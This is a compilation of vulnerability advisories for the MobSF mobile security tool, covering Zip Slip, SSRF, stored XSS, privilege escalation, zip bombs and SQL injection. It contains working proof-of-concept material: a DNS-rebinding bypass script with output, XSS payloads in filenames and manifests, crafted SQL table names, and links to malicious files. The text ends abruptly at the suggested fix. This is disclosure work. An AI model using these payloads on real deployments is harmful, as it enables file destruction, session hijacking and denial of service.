Summary Upon reviewing the MobSF source code, I identified a flaw in the Static Libraries analysis section. Specifically, during the extraction of .a extension files, the measure intended to prevent Zip Slip attacks is improperly implemented.

Since the implemented measure can be bypassed, the vulnerability allows an attacker to extract files to any desired location within the server running MobSF.

Details

Upon examining lines 183-192 of the mobsf/StaticAnalyzer/views/common/sharedfunc.py file, it is observed that there is a mitigation against Zip Slip attacks implemented as a.decode('utf-8', 'ignore').replace('../', '').replace('..\\', ''). However, this measure can be bypassed using sequences like ....//....//....//. Since the replace operation is not recursive, this sequence is transformed into ../../../ after the replace operation, allowing files to be written to upper directories.

<img width="448" alt="image" src="https://github.com/user-attachments/assets/fadf4bcc-1a92-4655-b66a-5349278ad9c5">

For the proof of concept, I created an .a archive file that renders MobSF unusable by writing an empty file with the same name over the database located at /home/mobsf/.MobSF/db.sqlite3.

<img width="300" alt="poc a1" src="https://github.com/user-attachments/assets/54acf101-3931-401f-9970-a0934265eecb">

I am including the binary used for the POC named poc.VULN. To test it, you need to rename this binary to poc.a.

Warning: As soon as you scan this file with MobSF, the database will be deleted, rendering MobSF unusable.

PoC Binary File (poc.VULN)

PoC

https://github.com/user-attachments/assets/3225ccb0-cb00-47a5-8305-37a40ca1ae7f

Impact

When a malicious .a file is scanned with MobSF, a critical vulnerability is present as it allows files to be extracted to any location on the server where MobSF is running. In this POC, I deleted the database, but it is also possible to achieve RCE by overwriting binaries of certain tools or by overwriting the /etc/passwd file.

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call validhost(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

python def validhost(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalidprefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalidprefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalidprefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None

import random import time import socket from urllib.parse import urlparse

if name == 'main': print("Generating random host ...", end=' ') prefix = random.randint(999999, 9999999) host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms" print("Done") print(f"Testing with '{host}' ... ", end=" ") valid, ip = validhost(host) if valid: print(f"Successful Bypass") print(f" - Host initially resolved to: {ip}") print("Sleeping for 1 second ...") time.sleep(1) print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}") print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}") print("Sleeping for 30 seconds ...") time.sleep(30) else: print(f"Invalid host")

Yields :

$ python3 poc.py Generating random host ... Done Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass - Host initially resolved to: 1.1.1.1 Sleeping for 1 second ... - Second use host will be resolved to: 127.0.0.1 - Third use host will be resolved to: 127.0.0.1 Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

- Avoid the use of socket.gethostbyname() since it issues and DNS query.

Vulnerable MobSF Versions: <= v4.3.2

CVSS V4.0 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N)

Details: A Stored Cross-Site Scripting (XSS) vulnerability has been identified in MobSF versions ≤ 4.3.2. The vulnerability arises from improper sanitization of user-supplied SVG files during the Android APK analysis workflow.

When an Android Studio project contains a malicious SVG file as an app icon (e.g path, /app/src/main/res/mipmap-hdpi/iclauncher.svg), and the project is zipped and uploaded to MobSF, the tool processes and extracts the contents without validating or sanitizing the SVG.

Upcon ZIP extraction this icon file is saved by MobSF to: user/.MobSF/downloads/<filename>.svg

This file becomes publicly accessible via the web interface at:

http://127.0.0.1:8081/download/filename.svg

If the SVG contains embedded JavaScript (e.g., an XSS payload), accessing this URL via a browser leads to the execution of the script in the context of the MobSF user session, resulting in stored XSS.

Proof Of Concept:

1. Create a malicious SVG file (iclauncher.svg) with an embedded XSS payload.

!01

2. Place the file in the Android Studio project directory: /app/src/main/res/mipmap-hdpi/iclauncher.svg

!02

3. Zip the project directory and upload it to MobSF.

!03

4. After the scan, navigate to the "Recent Scans" page in the MobSF web interface and click on the scan entry and open the icon file in a new browser tab.

!04

5. The XSS payload is executed, confirming the vulnerability.

!05

Product: Mobile Security Framework (MobSF) Version: 4.3.0 CWE-ID: CWE-269: Improper Privilege Management CVSS vector v.4.0: 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Description: MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges. Impact: Information Disclosure Vulnerable component: Code output component (/sourcecode) Exploitation conditions: authorized user Mitigation: Remove token output in the returned js-script Researcher: Egor Filatov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF). To reproduce the vulnerability follow the steps below.

• A user with minimal privileges is required, so the administrator must create a user account

<img width="215" alt="fig1" src="https://github.com/user-attachments/assets/43e02a50-bdd9-48d9-9194-73946fcc56d9" />

Figure 1. Registration

• Go to static analysis of any application

<img width="1207" alt="fig2" src="https://github.com/user-attachments/assets/9ed141a7-a667-4a96-81fd-d81127874104" /> Figure 2. Static analysis

• Go to the code review of the selected application and get a token with all privileges in the response

<img width="1400" alt="fig3" src="https://github.com/user-attachments/assets/bf8b704b-9067-4861-a7d3-05ec119d9a3f" /> Figure 3. Token receiving

• This token can be used to retrieve dynamic analysis information that has not been accessed before.

!fig4 Figure 4. No access demonstration

<img width="1412" alt="fig5" src="https://github.com/user-attachments/assets/dc8f639f-36b0-47d3-807d-58ae551fcbfc" /> Figure 5. Token usage

As a result, the user is able to escalate the privileges.

Please, assign all credits to: Egor Filatov (Positive Technologies)

Product: MobSF Version: < 4.3.1 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.4.0: 8.5 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) Description: Stored XSS in the iOS Dynamic Analyzer functionality. Impact: Leveraging this vulnerability would enable performing actions as users, including administrative users. Vulnerable component: dynamicanalysis.html https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406 Exploitation conditions: A malicious application was uploaded to the Correlium. Mitigation: Use escapeHtml() function on the bundle variable. Researcher: Oleg Surnin (Positive Technologies)

Research Researcher discovered zero-day vulnerability Stored Cross-site Scripting (XSS) in MobSF in iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the dynamicanalysis.html file you do not sanitize received bundle value from Corellium https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406

<img width="1581" alt="image" src="https://github.com/user-attachments/assets/8400f872-46c0-406c-9dd6-97655e499b75" />

Figure 1. Unsanitized bundle

As a result, it is possible to break the HTML context and achieve Stored XSS.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application. Listing 1. Unzipping the file unzip test.ipa • Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

<img width="560" alt="image-1" src="https://github.com/user-attachments/assets/3eedf216-45ab-4d73-9815-6b02827d36d4" />

Figure 2. Example of the modified Bundle Identifier

• Zip the modified IPA file.

Listing 2. Zipping the file zip -r xss.ipa Payload/ • Upload the modified IPA file to your virtual device using the Correlium platform. <img width="762" alt="image-2" src="https://github.com/user-attachments/assets/7f3e8b0d-d1f9-4d86-b63b-9b3f9e8f1d0c" />

Figure 3. Example of the uploaded malicious application

• Open the XSS functionality and hover the mouse over the Uninstall button of the malicious app.

<img width="764" alt="image-3" src="https://github.com/user-attachments/assets/fd621574-f2c1-42be-b30a-e8e7445c6b13" />

Figure 4. Example of the 'Uninstall' button

<img width="652" alt="image-4" src="https://github.com/user-attachments/assets/73526f71-6d39-4a94-98bf-8a867aa9acc7" /> Figure 5. Example of the XSS <img width="460" alt="image-5" src="https://github.com/user-attachments/assets/13e6a1fc-59be-492d-8e42-a5a8010fc4c3" />

Figure 6. Example of the vulnerable code

Please, assign all credits to: Oleg Surnin (Positive Technologies)

Summary The application allows users to upload files with scripts in the filename parameter. As a result, a malicious user can upload a script file to the system. When users in the application use the "Diff or Compare" functionality, they are affected by a Stored Cross-Site Scripting vulnerability.

Details I found a Stored Cross-Site Scripting vulnerability in the "Diff or Compare" functionality. This issue occurs because the upload functionality allows users to upload files with special characters such as <, >, /, and " in the filename. This vulnerability can be mitigated by restricting file uploads to filenames containing only whitelisted characters, such as A-Z, 0-9, and specific special characters permitted by business requirements, like - or .

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. 1. On MobSF version 4.2.8, I clicked on "Unload & Analyze" button. !0

2. I uploaded zip file as a name test.zip. !1

3. I used an intercepting proxy tool while uploading a file and changed the value of the filename parameter from test.zip to <image src onerror=prompt(document.domain)>test.zip. This means I uploaded a file and set its name to a script value. As a result, the server allowed the file to be uploaded successfully. !2

4. I accessed /recentscans/ and found a file named <image src onerror=prompt(document.domain)>test.zip in the recent scans. Then, I clicked on the "Differ or Compare" button." !3

5. I found that the application requires selecting a file to compare, and I selected the file <image src onerror=prompt(document.domain)>test.zip !4

6. I found that the JavaScript in the filename value was executed in the web browser. !5

Impact Allowing a malicious user to upload a script in the filename parameter can be used to steal information from other users or administrators when they perform the compare functionality. The script will be stored in the system permanently in this vulnerability.

Summary A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="androidsecretcode"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details When MobSF analyzes an Android APK containing a <data> element with android:scheme="androidsecretcode", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 776): python xmlhost = data.getAttribute(f'{ns}:host') retlist.append(('dialercodefound', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 806): python 'title': atemplate['title'] % tname, # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/androidmanifestdesc.py (line 200): python 'dialercodefound': { 'title': 'Dailer Code: %s Found <br>[android:scheme=\"androidsecretcode\"]', ... }

4. Unsafe Rendering - mobsf/templates/staticanalysis/androidbinaryanalysis.html (line 1143): html {{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.xsstest" android:versionCode="1" android:versionName="1.0">

<application android:label="XSS PoC Test"> <receiver android:name=".SecretCodeReceiver" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.SECRETCODE"/> <data android:scheme="androidsecretcode" android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/> </intent-filter> </receiver> </application> </manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

html <td> Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="androidsecretcode"] </td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POCXSSAPK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POCXSSAPK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest 2. Attacker submits APK to a shared MobSF instance or private mobsf instance. 3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />

Tested in MobSF Public Instance as well. https://mobsf.live/staticanalyzer/647258656ed03a7e6a0f2acce4ec6a5b/

<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />

Summary While examining the "App Link assetlinks.json file could not be found" vulnerability detected by MobSF, we, as the Trendyol Application Security team, noticed that a GET request was sent to the "/.well-known/assetlinks.json" endpoint for all hosts written with "android:host". In the AndroidManifest.xml file.

Since MobSF does not perform any input validation when extracting the hostnames in "android:host", requests can also be sent to local hostnames. This may cause SSRF vulnerability.

Details Example <intent-filter structure in AndroidManifest.xml:

<intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:host="192.168.1.102/user/delete/1#" android:scheme="http" /> </intent-filter>

We defined it as android:host="192.168.1.102/user/delete/1#". Here, the "#" character at the end of the host prevents requests from being sent to the "/.well-known/assetlinks.json" endpoint and ensures that requests are sent to the endpoint before it.

<img width="617" alt="image" src="https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/c570cb00-e947-4ad7-af80-26d46c0ad3f7">

PoC https://drive.google.com/file/d/1nbKMd2sKosbJef5Mh4DxjcHcQ8Hw0BNR/view?usp=sharelink

Impact The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.

Summary The fix for the "SSRF Vulnerability on assetlinkscheck(actname, wellknowns)" vulnerability could potentially be bypassed.

Details Since the requests.get() request in the checkurl method is specified as allowredirects=True, if "https://mydomain.com/.well-known/assetlinks.json" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is "http://192.168.1.102/user/delete/1", a request will be sent here as well.

<img width="610" alt="image" src="https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/a8c9630e-3d12-441a-816c-8f5e427a5194">

It will be safer to use allowredirects=False.

Impact The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.

DISPUTED Mobile Security Framework (MobSF) <=v3.7.8 Beta is vulnerable to Insecure Permissions. NOTE: the vendor's position is that authentication is intentionally not implemented because the product is not intended for an untrusted network environment. Use cases requiring authentication could, for example, use a reverse proxy server.

Mobile Security Framework (MobSF) v0.9.2 and below was discovered to contain a local file inclusion (LFI) vulnerability in the StaticAnalyzer/views.py script. This vulnerability allows attackers to read arbitrary files via a crafted HTTP request.

Vulnerable MobSF Versions: <= v4.3.2

Details: MobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors.

MobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.

Due to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server's disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.

Attack Scenario: Suppose the server hosting MobSF has 5 GB of free disk space..

A malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APKPATH/bomb.txt) he'll place a bomb.txt file.

This bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.

An attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth.

Now the MobSF tool will extract that zip file and it'll be automatically converted into its original size 5GB.

So now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker's single request.

Web server's storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion. Impact: 1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server). 2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.

POC: 1. Screen Recording : https://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing 2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing

Mitigation: It is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.

Partial Denial of Service (DoS)

Product: MobSF Version: v4.2.9 CWE-ID: CWE-1287: Improper Validation of Specified Type of Input CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Description: DoS in the Scans Results and iOS Dynamic Analyzer functionality Impact: Leveraging this vulnerability would make Scans Results and iOS Dynamic Analyzer pages unavailable. Vulnerable component: urls.py https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401 Exploitation conditions: A malicious application was uploaded to the MobSF. Mitigation: Check the uploaded bundle IDs against the regex. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Partial Denial of Service (DoS) in MobSF in the Scans Results and iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the urls.py file URL rules are defined. https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401

Listing 3. bundleidregex = r'(?P<bundleid>([a-zA-Z0-9]{1}[\w.-]{1,255}))$'

skip code repath(fr'^ios/viewreport/{bundleidregex}', iosviewreport.ç, name='iosviewreport'),

When the application parses the wrong characters in the bundle ID, it encounters an error. As a result, it will not display content and will throw a 500 error instead. The only way to make the pages work again is to manually remove the malicious application from the system.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application.

Listing 4. Unzipping the file unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

<img width="364" alt="image-6" src="https://github.com/user-attachments/assets/97dce68a-a5e2-4048-b5c8-3090146a9635" />

Figure 7. Example with ' character

• Zip the modified IPA file.

Listing 5. Zipping the file zip -r dos.ipa Payload/

• Upload the modified IPA file to Static Analysis and wait until it finished • Open the following pages: http://mobsf/recentscans/ http://mobsf/ios/dynamicanalysis/

<img width="1119" alt="image-7" src="https://github.com/user-attachments/assets/a7a9ae2e-cd84-4ec8-8132-25140a209ca0" />

Figure 8. DoS Example

<img width="1141" alt="image-8" src="https://github.com/user-attachments/assets/a76e03ae-b4c6-4003-a145-c1fa4c88a7a5" /> Figure 9. DoS Example

Please, assign all credits to Oleg Surnin (Positive Technologies)

Summary The vulnerability allows any user to overwrite any files available under the account privileges of the running process.

Details As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).

Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).

The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.

What exactly is vulnerable: mobsf/StaticAnalyzer/views/common/sharedfunc.py Function for extracting objects from .a — arextract def arextract(checksum, src, dst): """Extract AR archive.""" ... ar = arpy.Archive(src) ar.readallheaders() for a, val in ar.archivedfiles.items(): # Handle archive slip attacks filtered = a.decode('utf-8', 'ignore') if ispathtraversal(filtered): msg = f'Zip slip detected. skipped extracting {filtered}' logger.warning(msg) appendscanstatus(checksum, msg) continue out = Path(dst) / filtered out.writebytes(val.read()) - The “slip” check is limited to ispathtraversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e. - Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.

arextract is called from: mobsf/StaticAnalyzer/views/common/a.py def extractngetfiles(checksum, src, dst): dst = Path(dst) / 'staticobjects' dst.mkdir(parents=True, existok=True) arextract(checksum, src, dst.asposix()) The expectation is that extraction happens only under the staticobjects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.

Attack Scenario 1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism. 2. It downloads this one via the web interface or the Static library loading API .a in MobSF. 3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory. 4. In our case, the database file was overwritten, which caused MobSF to malfunction. PoC 1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3" <img width="786" height="342" alt="image" src="https://github.com/user-attachments/assets/0b7aee5c-6938-45cc-b668-9ad19f48c2c5" />

2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet. <img width="2535" height="1507" alt="image" src="https://github.com/user-attachments/assets/0cc92da7-91c0-453f-b1ed-080c9cfaa7f1" />

3. Upload the file for scanning and then update the page to get a server error. <img width="2559" height="1476" alt="image" src="https://github.com/user-attachments/assets/a5b84ace-b853-46ad-9e2e-afad59ed058a" />

4. Check the file structure after scanning and see that the file has been overwritten. <img width="797" height="213" alt="image" src="https://github.com/user-attachments/assets/758ba3da-ae25-4c8d-bd8b-932573ca2306" />

5. There is a database error in the MobSF log. <img width="1724" height="1476" alt="image" src="https://github.com/user-attachments/assets/cd4211b1-2896-45e0-9934-9425b6035f2a" />

Impact 1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs). 2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports. 3. Implementation of a system malfunction (overwriting the db.sqlite3 file). 4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template. 5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).

Mitigation Reject absolute paths and normalize before writing.

Please, assign all credits to Vasily Leshchenko (Solar AppSec)

Description

MobSF's readsqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlitemaster table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

python def readsqlite(sqlitefile): """Sqlite Dump - Readable Text.""" tabledict = {} try: con = sqlite3.connect(sqlitefile) cur = con.cursor() cur.execute('SELECT name FROM sqlitemaster WHERE type=\'table\';') tables = cur.fetchall() for table in tables: tabledict[table[0]] = {'head': [], 'data': []} cur.execute('PRAGMA tableinfo(\'%s\')' % table) # <-- INJECTION POINT 1 rows = cur.fetchall() for sqrow in rows: tabledict[table[0]]['head'].append(sqrow[1]) cur.execute('SELECT FROM \'%s\'' % table) # <-- INJECTION POINT 2 rows = cur.fetchall() for sqrow in rows: tmprow = [] for eachrow in sqrow: tmprow.append(str(eachrow)) tabledict[table[0]]['data'].append(tmprow) except Exception: logger.exception('Reading SQLite db') return tabledict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlitemaster) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The readsqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64): - Triggered when an analyst clicks to view a .db file in device data - Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/viewsource.py:123): - Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory 2. The SQLite database contains a table created with: sql CREATE TABLE "x' UNION SELECT 'SQLINJECTIONPROOF'--" (id INTEGER); 3. Security analyst uploads the application to MobSF for analysis 4. Analyst browses the extracted files and clicks to view the SQLite database 5. MobSF's readsqlite() reads table names from sqlitemaster, including the malicious name x' UNION SELECT 'SQLINJECTIONPROOF'-- 6. The table name is interpolated into SQL queries via string formatting: - PRAGMA tableinfo('x' UNION SELECT 'SQLINJECTIONPROOF'--') -- causes syntax error (DoS) - SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlitemaster (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes readsqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQLINJECTIONPROOF'-- is interpolated, the resulting query:

sql SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA tableinfo() statement on line 553 runs before the SELECT FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | pocsqliteinjection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | createmaliciousapk.sh | Script to package the malicious DB into an APK | | malicioussqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

bash Run the standalone PoC (no MobSF required) python3 pocsqliteinjection.py

Build the malicious APK (requires Android SDK) ./createmaliciousapk.sh

Test against MobSF 1. Start MobSF 2. Upload malicioussqli.apk 3. Browse extracted files -> click appdata.db 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's readsqlite() against malicious database... [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error [!] DoS CONFIRMED: readsqlite() crashed

[STEP 3] Demonstrating SELECT FROM injection in isolation... Query: SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--' [+] Query executed successfully! [+] Results: [('SQLINJECTIONPROOF',), ('normaldata',)] [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first): Tables with data: NONE [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

